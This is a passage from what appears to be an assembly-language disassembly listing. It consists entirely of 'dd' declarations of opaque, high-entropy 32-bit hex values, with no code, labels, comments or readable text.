		dd 0E914D766h, 852091F1h, 0A610F295h, 70A71908h, 8F70FE31h
		dd 970648E6h, 0D5290A03h, 0C6054E69h, 6FB31DECh, 0AD879500h
		dd 931E538h, 0D765E9F1h, 9C62A89Ah, 8812EB70h, 11C78AECh
		dd 0B1A26465h, 0ABE95809h, 0C3683661h, 2159E112h, 46A08F04h
		dd 0F0C60507h, 432D60ABh, 232E5207h, 7CAF801h, 2011513Eh
		dd 0C08028CAh, 520207E5h, 70C3B151h, 0C98006E1h, 0C1247D73h
		dd 0F519A545h, 3302ECB1h, 0E218156Ah, 0DF9C886Fh, 40052C79h
		dd 4C33A384h, 79090537h, 71CC12Ah, 0E05004F3h, 6249E903h
		dd 4081E543h, 0EEF03C46h, 0F030284Bh, 9E3722h, 6E1EBA78h
		dd 0DA312516h, 0A9015B2Eh, 3E7FE906h, 0C94D4C30h, 8F131107h
		dd 0A5F5F51Ah, 5B69EAD4h, 9E14B989h, 8ADF5DE8h,	78D3F66Ah
		dd 1DBD2504h, 5860280Ch, 7E2C003h, 0FA12C280h, 357AE8B9h
		dd 0D86D3D98h, 239A0500h, 0C129AED3h, 51DA584Ch, 0A3D1D8D8h
		dd 856CBF28h, 0C730D390h, 3D2D25EDh, 13A63C34h,	705C814h
		dd 4E7F5E48h, 6DF4B04h,	3C40D566h, 421C4E73h, 0B07C6F75h
		dd 86EBDE60h, 2778551Dh, 2E0AC381h, 18876218h, 9C5F74B3h
		dd 4018A80Ch, 98246EC6h, 0E86B12CAh, 0F712C153h, 3CEE31D0h
		dd 87813FCBh, 4AEC545Fh, 0E7D1EA61h, 93189F8h, 0EFC15AD7h
		dd 1CC7F300h, 96E76639h, 8D023D0Ch, 0C1FB01C6h,	4B974BAEh
		dd 8DD95EBh, 1EA950FFh,	969F22CBh, 12AD2911h, 10F4239Eh
		dd 0BE2E2D0Bh, 0FE3518ABh, 0C1DD8EEh, 0CE8A4092h, 5128446h
		dd 41CDC50Fh, 0EEC10873h, 1070796h, 987D3284h, 123C8142h
		dd 89EC5DFEh, 0F0807B61h, 9E38EDCAh, 0E26FC155h, 322FA0EAh
		dd 4DE92AC6h, 5B0FBD36h, 0EB09DAF6h, 0F568A8E0h, 0DCBB5F6Ch
		dd 0C4BD1355h, 0B9D8C037h, 0AF0B53F6h, 0CD295Dh, 893EDC7h
		dd 5A2048D8h, 0FB76DD02h, 4D000947h, 1DC4C581h,	8191386Fh
		dd 184C89E5h, 4638802Eh, 0E9136939h, 2C5294D4h,	3E90083Ch
		dd 15621425h, 4D073868h, 8BD1881Eh, 93305D54h, 53807F51h
		dd 26B23C52h, 0CB5FDC92h, 30C12120h, 525DC9BAh,	66B81150h
		dd 2DE72318h, 31AFF0Ch,	0E9570E5Bh, 9C4A4D0Fh, 0B19D2236h
		dd 6D108F1h, 0F7864E28h, 0C516D3D8h, 0D63A26F7h, 0A8ED01BEh
		dd 0F050F227h, 0B73EBDF5h, 0EF21924Eh, 0F9DDEA04h, 0DDB2D919h
		dd 7ECEC53h, 559E5A99h,	16CEA48h, 1E53F8B9h, 7DA853Eh
		dd 0A8C1E1A8h, 495C715Ch, 1225D05h, 788181CBh, 714D9765h
		dd 846A0DCh, 145ED8FAh,	7EA8F044h, 97040CB3h, 800E4804h
		dd 744F4AE6h, 4719455Ah, 21FD05D8h, 0E61E9D9h, 5DC73664h
		dd 497B6058h, 294FD65Ah, 0D0043CFDh, 0BE6E22A2h, 3EDD686Eh
		dd 0B4C2D81h, 2D8029E9h, 14E084DFh, 4248465Ah, 22E78F54h
		dd 698B8CCAh, 52E40F0h,	0BE5F250Bh, 65470930h, 10BA1457h
		dd 1DDF2926h, 475956FFh, 0EB5457B7h, 0A325636Ch, 0EB7183E2h
		dd 5021C24Eh, 0CE2D03C0h, 5F4D444Bh, 80EC41D9h,	7447B926h
		dd 7BD121B2h, 0DA42F9E1h, 53B90C44h, 2C86131Fh,	0DCC57612h
		dd 9E315A0h, 5CDE4679h,	508FDD03h, 0EB3118C0h, 40F95D73h
		dd 4F8DF6CBh, 930F507h,	609E5EF7h, 0D3B05013h, 5FF81389h
		dd 35DA902Dh, 0E0051292h, 14FBE963h, 157132CDh,	598C8169h
		dd 5D00BBA5h, 81178223h, 26691CCBh, 0A33D52h, 251327C7h
		dd 0FF6EC383h, 9990A0B5h, 12017D0Fh, 0C81C8BD8h, 0A3276860h
		dd 0FAF31B77h, 5F73C902h, 0A0145A32h, 0BFC1F409h, 0D473329Eh
		dd 5F05FA29h, 0C281EA01h, 8B5D0B00h, 0B15B5A0Ah, 0D96861FBh
		dd 81265205h, 26B4160h,	0E96F4A0Bh, 8C09292Ah, 1C350435h
		dd 0E5C0CB44h, 605B3B61h, 0B09273E5h, 646F81BCh, 0E6191EE4h
		dd 0C4296C5Bh, 13AC154Bh, 9751E94h, 4EF94097h, 0F739540h
		dd 0F6500E9Ch, 0B843D063h, 205A0A60h, 5B2666FDh, 0CD091952h
		dd 0EE7461DBh, 4E7AF128h, 0D94C131Ch, 509DF1BCh, 0EE805CDFh
		dd 0E630931Ch, 0C808F49Bh, 0C78601ECh, 0E541C60Ah, 5634C2F0h
		dd 0AA5B94Ch, 353FD1A8h, 239255Bh, 42604432h, 8B676ADDh
		dd 4BCD4453h, 649A1262h, 5CB6A0CFh, 10944090h, 0AE1E4426h
		dd 0BA3C4980h, 998A3E2h, 59CA2987h, 0F05C723h, 683A6D98h
		dd 1BB143F0h, 506AB982h, 16DBC5E2h, 3E76401Ch, 4D45C63Bh
		dd 0E53DC1E2h, 0E9CBD404h, 7D80D04Bh, 4C1768BAh, 0B809411Ah
		dd 0CF0B4827h, 284F3103h, 0C22951C0h, 883CAF1h,	4FAC158h
		dd 0BBF2CCC0h, 68900B18h, 9472C22h, 7E90F96h, 5E49E058h
		dd 2508002Ch, 1B0D3C0Eh, 4A392C06h, 7B822DBh, 5D6F14BDh
		dd 3B48A208h, 10B1CE6Bh, 1A312B1Bh, 5801E25Dh, 17B55157h
		dd 0D5F7F450h, 0F670D898h, 9405D7Dh, 4D6F2CE9h,	61DC4055h
		dd 68906C29h, 0CA8B9F20h, 2EA03C6h, 7E88586Ah, 5DAC860h
		dd 2D6F7826h, 0C15C8701h, 8AD5E998h, 0A0414A2Fh, 0B75380C2h
		dd 0ADC78097h, 3DBCE1F6h, 95809627h, 3BC309B8h,	0B93C3593h
		dd 0CB0CCCBCh, 0FE8DC654h, 663BC19Eh, 0C9C6FE59h, 0F8AAECCEh
		dd 51BB88A1h, 81D2622Dh, 61F7BD14h, 7EFC7224h, 766C267Dh
		dd 0C223AF9Ch, 7BD2601Eh, 8285960h, 0FB8A1128h,	8874C73Ah
		dd 20DA0148h, 75E91208h, 56CB4E0Dh, 0E5814E6h, 80E35D49h
		dd 59244F29h, 0E5236B68h, 2E3504h, 0ADC6F181h, 11A0C4Bh
		dd 0FB2859C8h, 80772B4Dh, 55A01CC5h, 34E92D52h,	0C321EC81h
		dd 0C1BA8658h, 3CC004EBh, 0D5D87AF8h, 729A150h,	0E9771947h
		dd 0AB6949BBh, 7588E107h, 240E2363h, 516FC72Dh,	0B540BB39h
		dd 7544DDFFh, 33902C4h,	0F328FC82h, 59027AF1h, 0EEE38953h
		dd 0DAB83446h, 0E1DDF522h, 801A9F27h, 0CB0E989Ch, 82CEDB59h
		dd 0AEA0C3E3h, 22A84E06h, 73EACF34h, 4649D8D9h,	5FB03Ch
		dd 165F1FD0h, 0D1D9F759h, 0B4E475B8h, 2FA13813h, 22FE3C00h
		dd 4C892920h, 32071CFh,	0F1539FB4h, 870588D2h, 55CB7277h
		dd 7D5D3949h, 2BCBDF6Ah, 0B4E8ACCAh, 75969555h,	0B29782EEh
		dd 0BCDA80C3h, 0B0408826h, 981DA363h, 24042320h, 0A0382979h
		dd 54E94A08h, 40700536h, 450CB9E0h, 0EA650650h,	0F9392022h
		dd 66DAC906h, 0A0C4BECh, 48D1763Bh, 0A6D40381h,	44E3F435h
		dd 2319F41Eh, 4C2918FFh, 9277E910h, 2C5A1CDDh, 0FAE81EADh
		dd 0A698497Ch, 0FD8D2D4Ah, 48073C5Eh, 0A4A0614h, 0B0C46C1h
		dd 13710DA4h, 740E0F09h, 477248A9h, 0D1220460h,	0B645724Eh
		dd 2D06304Fh, 33F44341h, 5102A597h, 0E3C1B146h,	5EEB0536h
		dd 0F4F8E246h, 444195F5h, 54E50C92h, 3AB6493Bh,	1C4177A6h
		dd 683224h, 50441F6Eh, 0E0930558h, 0AFBB25h, 0E8307143h
		dd 94619B1Dh, 4F490CEAh, 0FFD02183h, 0D258B652h, 6DAE304h
		dd 7A04550Bh, 99A1F526h, 0A6F12903h, 81D459CEh,	0EB2EA768h
		dd 0C6BFF827h, 2447DED1h, 3AAF855Dh, 7DF54096h,	11E01D2Ah
		dd 0ED28BC01h, 0D6ADA008h, 665C8052h, 6FD3D34Ah, 59612D20h
		dd 0D89C8889h, 3E89FEC0h
		dd 0B201092Ah, 2C088388h, 3E0E10Ch, 0C5F9E94Ch,	0F1684E0Ah
		dd 0F4B06A7Fh, 1223FB63h, 0CD4B7CE9h, 8C69DC3Bh, 4F5687A2h
		dd 0EC49D546h, 6ED30C1h, 718ED0DCh, 0EB89FD18h,	81DD6F24h
		dd 64BFEBB7h, 0E5EF9911h, 0EDC7A60Bh, 22AB123Ch, 0CEBD9B04h
		dd 0A69228A8h, 63A21064h, 0F2D4124Eh, 68F944A2h, 981DD22Dh
		dd 9E29915Ch, 0EC1DD00Dh, 86B01499h, 18156FF7h,	0BF53522h
		dd 19FB9E9h, 0E1C058DEh, 0BBE5B8BFh, 0A891A68h,	7C527B74h
		dd 0C8124971h, 0A0C9465Eh, 443B8427h, 0CF810255h, 3D110D91h
		dd 1D009679h, 29E0AAB0h, 785F64FEh, 0CD870556h,	6801B800h
		dd 4A29805Bh, 0F8BF8DEFh, 301277F7h, 98005FA0h,	18605BCEh
		dd 612BF909h, 0F9CAEF7Ch, 0FB577074h, 0CE905F7Ch, 18866817h
		dd 0AAB7D635h, 9CB85C28h, 0B4455AC6h, 92400396h, 8E05D001h
		dd 1452251Dh, 322B7B56h, 2D1F8001h, 8C60C151h, 0D6F50681h
		dd 125D1873h, 76F00363h, 29F1C8C6h, 0B05AF8E8h,	74FC01ADh
		dd 0E1C1482Ah, 30202108h, 0D525028h, 211C4BB5h,	8F4B4928h
		dd 5EB3BD81h, 4768C840h, 0E077AB74h, 17D3F618h,	861BF380h
		dd 0E20C0CF6h, 0CECDB5E9h, 2CD81E28h, 20D349D4h, 557166Eh
		dd 68DF4105h, 51174A28h, 9CFE7498h, 4DDF888Ah, 0BB535C00h
		dd 26490557h, 20AB2150h, 657205ECh, 1C297E8Ch, 0F9C3DED8h
		dd 0CC61621Eh, 76A8F6Eh, 9D78C441h, 0B30F66C2h,	0F62F2A64h
		dd 0A43118C3h, 52598037h, 4245BA07h, 0A93F086Ah, 29C72BC7h
		dd 0D9A743CFh, 16B0FA82h, 0E4518A92h, 0F228624Ah, 6A6809BBh
		dd 0F4873E39h, 79F157C3h, 0E92568F0h, 7B642A7h,	0A58406F0h
		dd 8B4F3EB8h, 0D3C5637Bh, 96C1222Ch, 4326A190h,	0C42631CCh
		dd 19F9E50Ch, 48C703C2h, 0F2010F05h, 883EAC2h, 4FA835Eh
		dd 6AAA5754h, 68051A9Bh, 644B61D7h, 0C00E8051h,	219D562h
		dd 7A6650B9h, 3E13154h,	2D733446h, 321A6A0Fh, 0A89A6B63h
		dd 851696C5h, 0BC109B4h, 3E8D0C76h, 5804FB61h, 0F94FF7D1h
		dd 0EE21E08Bh, 59526593h, 32987931h, 0B2B5540Ch, 0D6716049h
		dd 68538080h, 943C352Fh, 58A882E4h, 79FF8069h, 191E0074h
		dd 208B34BFh, 0D758293Bh, 0F3F702B1h, 606E696Ah, 10618A1Dh
		dd 7F89F683h, 5D044EFCh, 50E926C7h, 0BC137694h,	0EDA05634h
		dd 855164AFh, 52F0ADD9h, 2FF53144h, 282EC828h, 0C13F886Fh
		dd 84E13958h, 5966C820h, 0A9483E2h, 69B39D4Fh, 6201059h
		dd 0F764BE01h, 2B29DDA9h, 6B7DC204h, 0EDC58002h, 39BF663h
		dd 0A23F65BFh, 0B0EFCC98h, 372F6F36h, 0A8E39ACFh, 69E1F828h
		dd 88AC6822h, 6311B33h,	45F90D45h, 0A8B9F420h, 66145D92h
		dd 3EF0D829h, 6E284A1Ch, 0E75960FEh, 5C6FC6CAh,	45F850FCh
		dd 0AD02EEB4h, 0D12C6468h, 4C4A89Fh, 78E92F7Eh,	2C57CA42h
		dd 6E55C59h, 0D7E8C094h, 525029A2h, 3F925875h, 183BDF2Dh
		dd 2652F718h, 16F7BABh,	498A4540h, 4F123E01h, 287A1B0Bh
		dd 5AEEA5h, 0F7E9DDE4h,	0BD078275h, 85F530FAh, 5948E828h
		dd 160410A6h, 57FE3109h, 0D1F79F23h, 0FC5F0B3Ch, 0FE68102h
		dd 4350B15Ah, 0B12839Fh, 525EF2A5h, 18283340h, 0FECAC198h
		dd 0E90907F1h, 0E2E3C217h, 6C2961C0h, 4E0D0882h, 0ECC20F85h
		dd 0EE8367E0h, 0D87132C9h, 0ED9B952Dh, 0B5F284DCh, 51D3438Ah
		dd 0F4CA1912h, 0D8C18D43h, 172E348h, 82981782h,	42CF31AAh
		dd 0C007FBC2h, 0CB800563h, 0D6C198B7h, 59CF0E88h, 0D749DFF6h
		dd 519F3C03h, 0FDE9F9D8h, 11EEF75Dh, 1C207147h,	18444C27h
		dd 526A663h, 84E974A2h,	2C058DD3h, 0C3027001h, 0E9E0B151h
		dd 4E26CAC5h, 80B9CEFh,	902434C1h, 333B9180h, 1009B911h
		dd 3B20C46Ah, 0D1B2E45Dh, 0AEFA180h, 1023B07h, 300D0C78h
		dd 0A218182Bh, 0E47DF371h, 5286F958h, 0CF68800Fh, 0B4711614h
		dd 0A59995ADh, 40F5CD4Fh, 3931C13Ch, 0E2E94E0Ah, 3D8988C2h
		dd 9044D7Ch, 0E059F376h, 0D916C325h, 0D1071809h, 439D1C77h
		dd 92ADD3E5h, 78D4A841h, 36AEEA81h, 0F0ED786Bh,	0B9BC002Fh
		dd 2C546457h, 0E8010B90h, 0E94B655Fh, 0A750EF34h, 269CB9F1h
		dd 3ABA91C3h, 28B5FC02h, 8F5CD101h, 0E9C8076Fh,	0DF27289Bh
		dd 0E9749043h, 4FB08127h, 0C870E902h, 8A050AC0h, 1F455F2Eh
		dd 56581889h, 31B549E6h, 4F09A081h, 824B291Ch, 0DEBFEDE9h
		dd 7C16E969h, 0B6E9550Dh, 0F6A0F10h, 0A2464D2Fh, 0DAB91222h
		dd 0B492562h, 849F05EEh, 540C4628h, 68195D79h, 8D3B3648h
		dd 56183E25h, 297E52D0h, 0E0CE539Fh, 0A109BF88h, 63AC7159h
		dd 169FEB9Ah, 0B654551Bh, 9D2C7E0Eh, 9B8D7D6h, 0C2582CC8h
		dd 0BAC045AAh, 0CEB002A7h, 40629A68h, 5606FC49h, 444F80B5h
		dd 0D9096F10h, 3D4C5B48h, 90CE9801h, 344F8993h,	82DD5920h
		dd 0A47CAD6Eh, 0A8400916h, 0DCDD72EBh, 837691F6h, 0E388C1B4h
		dd 93A249CAh, 9661E528h, 0FC9EE821h, 0C15326C9h, 0EA7CC67h
		dd 0D2F72BC0h, 80C04D6h, 0FEBE18E5h, 5AD43F25h,	804EDE17h
		dd 8AF68112h, 1B523E0h,	862B4C49h, 2DCE29D8h, 4A60BBE9h
		dd 6805565Fh, 732E63E8h, 5CA0A081h, 0D70BE939h,	650BF967h
		dd 80739C2h, 30FFA25Ah,	7E762243h, 24C3BA53h, 0BD81B8D1h
		dd 70564BCh, 7048E561h,	3DD78F7h, 0AF43A3F5h, 9E045229h
		dd 4D6B7A2Ch, 4FB80380h, 0FA7B64FCh, 0F2C39417h, 649A07AAh
		dd 0D9F23F8Eh, 9A054738h, 1AC40C83h, 0BA62149Fh, 53A6B5A5h
		dd 0D9ACC753h, 0DD33CAA0h, 0F5EE722Ah, 0BF519394h, 77482322h
		dd 0C6F6E9C2h, 6E994F7Ch, 0C52666FBh, 51DC689Ah, 5763E9E1h
		dd 5F05980h, 35390D72h,	2162FA96h, 0BE6D1C1h, 68C863A3h
		dd 30804DECh, 0E940FACBh, 52EFF556h, 0FE138C5Ch, 0CA82440Ch
		dd 5913E31Eh, 0EE711065h, 0D490BB58h, 37A5A02h,	0F1C18770h
		dd 0F735CDD5h, 53C1C916h, 0D10F40ECh, 88C649E1h, 0B9029768h
		dd 21841D94h, 3F336081h, 342C609Fh, 0B1B2212h, 59C88916h
		dd 20514001h, 137A266Dh, 0FEFD0159h, 0E5249738h, 0A44C80C6h
		dd 0E95AC85Ch, 0AE19C91h, 25C0FD31h, 0D1AE5565h, 5A555C61h
		dd 29B0E3ADh, 0DC925EE9h, 324D334Ah, 0BB1910CFh, 0F384163Eh
		dd 4F985B78h, 4F696247h, 0BCA74C5Bh, 95937453h,	46AB000Ah
		dd 0B923EFBDh, 104F3431h, 0C9F4D9F7h, 73191B2Fh, 6698BE71h
		dd 98A20B02h, 24C2F6F2h, 0C17F7630h, 0FA54AAC9h, 344F83A6h
		dd 97A3ECC5h, 0ACB20216h, 0C14EED91h, 296037EFh, 215B0BE8h
		dd 2741CDC8h, 0F5E83009h, 0B58E8C1h, 2D56304Bh,	0C1E554E9h
		dd 2EA7F2F3h, 0D601C83Dh, 0F7255A73h, 0A0A6145Eh, 83309F7Ch
		dd 2A5BDAE2h, 763C291Ah, 2BD6D830h, 0F5433381h,	0D066F31h
		dd 0AA2D8EC4h, 0B59534Fh, 9F717072h, 91682738h,	89697D9Ch
		dd 15D92852h, 20B5CCCBh, 0A4985D82h, 665D4178h,	3CB938C7h
		dd 29390F3Ah, 58B889CFh, 54503DCCh, 520B5CA5h, 4D232E01h
		dd 0F7032A0Eh, 97A9213Ah, 7EC0F667h, 316844FEh,	986F57B2h
		dd 30590042h, 0AF21B7C3h, 0E2618724h, 32C2AC1h,	0D602B283h
		dd 0A8DC5A63h, 1BBD542h, 0E0E8215Eh, 67CD7B86h,	8D601BC8h
		dd 366A161Dh, 7420C29h,	9305ED12h, 0D10999CFh, 9A01CC16h
		dd 3127021Dh, 0D035B247h, 0E983D5B2h, 0A0335C0h, 0F65BFE88h
		dd 510406DEh, 46800FB1h, 6CF96B8h, 3EF12006h, 3E59CE30h
		dd 2398B92Ch, 1DF697EAh, 0ECF9A900h, 295EF301h,	2CE916DDh
		dd 0E21A5E7Dh, 9D174ABCh
		dd 9431424Ch, 992DBF52h, 27D14106h, 4C4203D0h, 0F20000E4h
		dd 0B8877322h, 3B167E2Dh, 7F8475EEh, 0C1700711h, 0A22DD801h
		dd 64476CC8h, 0AA6EB055h, 0F55B254Ah, 2E157F03h, 0F8AEF235h
		dd 0BF01F87Fh, 0A574360Eh, 0CC129407h, 0A1E15427h, 0C42D6B44h
		dd 0C0C493Bh, 0D4EF6149h, 194C7061h, 7CC502A4h,	0C04D0727h
		dd 5C57E9BAh, 5FC9C3EEh, 5FBB52E5h, 4F29A1DCh, 159ACC6Bh
		dd 0B2C8434Fh, 195F2768h, 0F74B2666h, 0A849791Dh, 2C9D27BAh
		dd 46B850D2h, 58C526DDh, 86A4A4F0h, 2EBC92E9h, 4FC85258h
		dd 1DCAE413h, 75A4E7Eh,	9FFB755h, 8003DB70h, 0EDC0B3E5h
		dd 0F9F5B108h, 493A4688h, 3189052Dh, 597D43B9h,	805BDC7Ch
		dd 0F658E3E4h, 0DE7ED377h, 27F76CEFh, 144C4666h, 7479BB68h
		dd 6FDF698Dh, 4040D32Ch, 45B85803h, 2D5E0279h, 9689A14h
		dd 8E6204DAh, 281D819Fh, 97D32CC8h, 0E90B9F8Eh,	4171F0C5h
		dd 3CD20F7h, 9F8836A7h,	4BAC135Dh, 8B04D4EDh, 642CD7F5h
		dd 3173E118h, 8E2C6F89h, 0C3E95029h, 45B09E0Ch,	619B19BAh
		dd 6683647Ah, 75556816h, 662060E5h, 0D866D2B9h,	4B489798h
		dd 0BB53C018h, 0B8486EF3h, 42D33C1Ah, 5A5B5280h, 236BF57h
		dd 5D3DBE24h, 0BB9FB401h, 0D74031CDh, 0BC2042E9h, 2C074DBBh
		dd 0F7CBA428h, 0E8BFE90Dh, 2CD5E498h, 0C87FED70h, 59C2DBE9h
		dd 0B68127F1h, 0B7E6807Eh, 7339CECCh, 88531D86h, 0C5EF5DCFh
		dd 0B114E9C5h, 8A407C51h, 272A225Ah, 3B543F20h,	8AA6EF30h
		dd 83AD86EAh, 0F09C47Fh, 100E9F84h, 30462EB1h, 1C0C0A28h
		dd 4A41D66Eh, 9CFF560h,	0B9E9570Ch, 8F6693A2h, 9B972043h
		dd 528BE97Bh, 8C828254h, 608F0661h, 39C3006h, 2CAF0935h
		dd 8E4625E9h, 0C349F088h, 27405150h, 709F2768h,	55E6C2E6h
		dd 7E640E9Eh, 8A5E66A8h, 59207E1Eh, 0EE831E44h,	82131301h
		dd 3E825E1Fh, 50F1D95Fh, 0E5859093h, 2752E384h,	53A1EF12h
		dd 46A5196Dh, 0B916AAFFh, 0F832900Bh, 0B5F86655h, 45C4320Fh
		dd 2A21F93Eh, 0B0655952h, 0ADB840A6h, 7EB45000h, 0F280B6B2h
		dd 14243FB8h, 0AB6FF278h, 6408863Eh, 90A4AB4Dh,	0F0F6ED80h
		dd 0A2794B44h, 0C838D1Eh, 5E016B21h, 0D879A30Fh, 7DB81E1Ah
		dd 4BD7941h, 520024BCh,	0D1FD3BAh, 2FB8420Eh, 192F940Ch
		dd 1FB50C6Bh, 88B3D2h, 2D3AAFEDh, 0D57E017Ch, 3408C551h
		dd 0D486CC3h, 48944F03h, 0C95D080Fh, 5D3570A2h,	3D2D405Bh
		dd 7C5C3689h, 8E6D6552h, 5D525166h, 0CE018F43h,	0F767592Fh
		dd 0E146E7D6h, 4403EEC1h, 0C48A0709h, 1231E5FEh, 0EFC904EDh
		dd 21BF0050h, 1DFD08h, 0A942102Dh, 0E9F82954h, 1913624Bh
		dd 0F15138E4h, 185706Ch, 0BD64D44Ch, 7356C475h,	0C3C0CEFDh
		dd 51F81789h, 0C02BE927h, 0EED8F676h, 52DF59BAh, 4CB75610h
		dd 41C525D5h, 8705D71h,	89EE4085h, 7E9EEA50h, 960C7559h
		dd 10AC58C4h, 86C501E1h, 0FE7FE927h, 5E9E9548h,	0C85B9B7h
		dd 6CF1B211h, 331794DFh, 0FACD91E7h, 9613F2D9h,	9BF9534Bh
		dd 9E9D2B07h, 970AA9ECh, 0A179EF9Ah, 9B125B45h,	0BCB539B8h
		dd 7FEBA00Bh, 23EF1373h, 100FC401h, 2A49AB08h, 0EDCA634Bh
		dd 0D4D08612h, 3EB88141h, 0BE41420Dh, 500D5E1h,	0A77D099Bh
		dd 0E0C1480Fh, 21EAC607h, 15BB64Fh, 37DC565Ah, 2911BE01h
		dd 8200C6Ch, 0EB128376h, 702D583Ch, 613F8938h, 30B86DAEh
		dd 0B5F1817Fh, 6E22FC09h, 684B9831h, 347E4EC9h,	0BAC28CFCh
		dd 70462BB5h, 0AB64A949h, 35025328h, 5CBF6B51h,	1BFACE42h
		dd 0AFC1013Bh, 1C3742D8h, 6B9EBFC5h, 73076813h,	225CDE3h
		dd 7E093044h, 122DC62h,	414BE9CFh, 57DF2B8Ch, 7A13B0F2h
		dd 4AA41F74h, 0E9659759h, 1214C694h, 4BA0CCE9h,	5F59775Ah
		dd 0B2ACC039h, 0EEDC289Ah, 0F304F80Eh, 4060308Dh, 545380E0h
		dd 78A52A93h, 9D875BAAh, 0EE66C03h, 0B39B6407h,	7F6A90Ah
		dd 0F0215B05h, 0BCDF2988h, 0A1BB0156h, 212299E0h, 0B1817096h
		dd 0CC621F70h, 72DF4CACh, 0D6E70B9h, 0D901D4FAh, 0DD126190h
		dd 9585F6A0h, 929E1359h, 5AE0583Bh, 0E7306B2Ch,	3B0FBC77h
		dd 0C60609Fh, 277959C7h, 5BDE0113h, 0CA6602D2h,	2DF14050h
		dd 0FA7482B5h, 0FB13BA4Fh, 0C87D89D6h, 2A5D2E5Ah, 869A5A77h
		dd 61018F27h, 0C9E8315Dh, 68088FC5h, 95F392C2h,	0C9210124h
		dd 0C6621ED9h, 0F4F809D3h, 5B4C35F0h, 0B299F4FAh, 65963339h
		dd 253BF681h, 812251CFh, 67418505h, 28C2F542h, 9E875B25h
		dd 0B3B758D9h, 0D95A17F0h, 9C67A316h, 0C148E1A5h, 6882F478h
		dd 0F7FE396Ch, 6DD804C9h, 0C36DA413h, 3B45640Bh, 97B47017h
		dd 0EA815F6Eh, 8A9B60FBh, 0A328B191h, 0FD543324h, 64F65672h
		dd 0C36AD44Fh, 8DC25609h, 0B764C3A7h, 0B4238232h, 0EB89B274h
		dd 64C60B07h, 25FA2FF8h, 3F8541A0h, 17B41F6h, 80DBFA2h
		dd 38F9656Bh, 0CE20F443h, 0B508D5E9h, 0A9205696h, 0C7801646h
		dd 17C9058Ah, 787DB2FEh, 69BB736Fh, 0BA37EC6h, 0BC84F328h
		dd 9DB70753h, 0A99ECFE7h, 4971EAC8h, 62345142h,	5C10194Ch
		dd 45EAAA72h, 50CA1E07h, 5E5514FAh, 84AB73E4h, 0F7FD87B8h
		dd 576FD77Dh, 0E109CC1Ah, 21203F6h, 0F1012162h,	5EE0CDEEh
		dd 93A0969Dh, 2130172Dh, 2B363BBh, 79A95AF6h, 333C895Ah
		dd 75EA03B4h, 46BE43Dh,	6F58410Ch, 40C4ED67h, 5C37E908h
		dd 844F7631h, 7CF802C3h, 5250D2DFh, 39EDF074h, 31405F2Fh
		dd 0CA4CED2Dh, 3B3EB1E8h, 21076502h, 670E89BBh,	51B25EF7h
		dd 0C3010060h, 72D08358h, 0BDE51336h, 0E7336BC8h, 432AC33h
		dd 650BB223h, 60183F90h, 0B2D28737h, 93BEC791h,	0AA956AEh
		dd 9A80BA9Ah, 3D772706h, 0B1F0292Dh, 126E858Dh,	0D5D3EC9Bh
		dd 155034D1h, 5DC0EB13h, 4869ABBEh, 0DB120B3Ch,	0E6D6F873h
		dd 526601CBh, 88F0B050h, 0B3D030C2h, 0DA308F13h, 6379D04h
		dd 592648F2h, 0C280012Fh, 60D92C38h, 0B7265353h, 0C19A1B3h
		dd 5145BEFh, 5410845Dh,	4E8B22h, 87B6BD72h, 3947F7Ch, 34F50507h
		dd 21820AE5h, 8BD5D617h, 0CA1844E8h, 0B4F601B5h, 0E4C08800h
		dd 0F2CC8005h, 0EBC472FEh, 3D02ECE8h, 0CFCF8CE9h, 0F7914AFBh
		dd 292F1237h, 9B636F3h,	24A8E951h, 0B885310h, 97099FEBh
		dd 27094602h, 81E1D101h, 7A4D49C8h, 0F5F7E882h,	13F57D30h
		dd 5E7F1048h, 81DBC04Eh, 0E03541F3h, 102B69h, 0AC02A158h
		dd 0CB312821h, 85504ADBh, 31DEA152h, 21AA13B8h,	10EDADF4h
		dd 4654B823h, 0BF570253h, 7B070BBCh, 0E9043774h, 2AE33A46h
		dd 3B84632Dh, 0C1B7FCBFh, 11A3363Ah, 641F0C80h,	0FD011351h
		dd 883A690h, 38140C41h,	1387A315h, 0D932C795h, 93336F0h
		dd 0D3D32CE9h, 6BAB09CDh, 0AD625154h, 7A425C37h, 30B0A090h
		dd 10D84F82h, 28E90A33h, 0BF421E2Dh, 0AF5D0453h, 6C50FD5Fh
		dd 2FF9A592h, 7F4C8CCBh, 0D535EB90h, 7B20E842h,	4DF0371Dh
		dd 556ACB81h, 0F63026C5h, 42318147h, 0B174338Dh, 55B0C9C2h
		dd 0BA740698h, 1097208Eh, 11E642A0h, 33F10082h,	89020619h
		dd 0F1BA7421h, 0D27D150Bh, 4FCA704Fh, 8222D42Dh, 0C509EB3Fh
		dd 5A6509E6h, 0BBE05ADEh, 24304C58h, 0B714B5Eh,	0C9E666A5h
		dd 449F7B9h, 0BE0D4B75h, 0F57F60C5h, 0B8505E00h, 23911EDEh
		dd 0E0E84EC1h, 11930888h, 0FA69222Fh, 0C6C4692Fh, 0CAD23B3Ch
		dd 10DC42F9h, 68C256C5h, 25463FE4h, 0F26A9C81h,	0BAEB8803h
		dd 5E864991h
		dd 0AA0B07Ch, 0FEBBC831h, 2454E90Bh, 12BA641Eh,	9F2C0B27h
		dd 46257350h, 5D770F7h,	0A44193EAh, 0DE1BA931h,	71E3F300h
		dd 0FCF821A1h, 5777A23Ch, 1C26FB2h, 31041064h, 0FE295BDFh
		dd 175E61FAh, 356800EAh, 65891331h, 49E6F059h, 9A3EE5FFh
		dd 5738FB4Dh, 974AE51Ch, 4C2AC0E6h, 0E48E9488h,	0DB682014h
		dd 303FC527h, 3CB72236h, 6C438E56h, 0CE394005h,	3F0BB929h
		dd 0B119AF27h, 0BFB32420h, 0CB07DD13h, 0D0C73700h, 270CA012h
		dd 6B013AE9h, 0E1C39D61h, 0D241A638h, 143DE08h,	0D064EA80h
		dd 0B191D7E2h, 7103D5C0h, 0BDD51038h, 120243A8h, 0E5C1450Eh
		dd 1885C02h, 0B6F158EDh, 10802FC7h, 9BB7E3E9h, 2C7B9D44h
		dd 3DD3680Fh, 0FF354D19h, 2D4B3587h, 2B4CB5E9h,	0FFD8F133h
		dd 0FAF63380h, 524B6707h, 0CB611BF8h, 0D3C3807Ah, 0CDE1A5E3h
		dd 0E82279B2h, 9F5030CAh, 12BEA2F0h, 30838C2h, 0A196C968h
		dd 13494C20h, 0BDD830ACh, 0AD45D2E7h, 0A48C1703h, 0B5511253h
		dd 0A48E17A9h, 6BCBCB60h, 0B7054C29h, 2515CC91h, 8E9B2D54h
		dd 64CB3375h, 0C457E909h, 4D7D5C22h, 3059AA7Eh,	0F04EC362h
